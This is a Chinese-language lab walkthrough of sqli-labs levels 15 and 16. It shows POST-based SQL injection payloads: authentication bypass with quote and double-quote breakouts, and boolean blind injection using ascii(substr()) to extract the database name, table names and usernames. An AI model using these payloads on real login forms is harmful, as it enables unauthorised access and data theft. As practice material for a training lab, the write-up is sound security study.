sqli-labs练习(十五)— POST-Bind-Boolean/time Based-Single quotes


同样,使用万能密码即可登录成功,进过几次注入尝试发现是基于布尔型的盲注。
万能密码:123' or 1=1#,即可登录成功。

基于布尔型的sql注入稍微麻烦,因为要不断的测试,根据页面的反应来猜测后台数据库信息。
下面直接放payload:uname=1' or (select ascii(substr(database(),1,1)) > 100)#&passwd=&submit=Submit,登录成功。说明数据库第一个字母的ascii值大于100
sqli-labs练习(十五、十六)

经过不断的测试发现,数据库第一个字母的ascii值为115,
sqli-labs练习(十五、十六)

构造payload:uname=1' or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >100)#&passwd=&submit=Submit,猜测当前数据库的表名,成功登录,说明当前数据库中的表名的第一个字母的ascii值大于100
sqli-labs练习(十五、十六)
根据这种方法,最终可以得到表名。

猜测数据库中的数据。
payload:uname=1' or (select ascii(substr((select username from users limit 0,1),1,1)) >100)#&passwd=&submit=Submit,登录失败,说明表users中的用户名的第一个字母的ascii值不大于100
sqli-labs练习(十五、十六)
依次测试,最终可以得到数据库中的数据。



sqli-labs练习(十六)— POST-Bind-Boolean/time Based-Double quotes


尝试登录发现是基于双引号的变形,
payload:uname=123") or 1=1# #&passwd=&submit=Submit,登录成功。
sqli-labs练习(十五、十六)

第16关和第15关很类似,都是基于布尔型的注入,唯一的区别就是第16关采用的是("")的形式来引用变量uname,
所以在构造payload的时候只需要把'替换为")就可以了。

相关文章:

  • 2021-10-23
  • 2022-01-09
  • 2022-12-23
  • 2021-09-10
  • 2021-06-08
  • 2021-07-10
  • 2022-12-23
  • 2022-12-23
猜你喜欢
  • 2021-08-02
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-12-02
  • 2022-12-23
  • 2021-09-15
相关资源
相似解决方案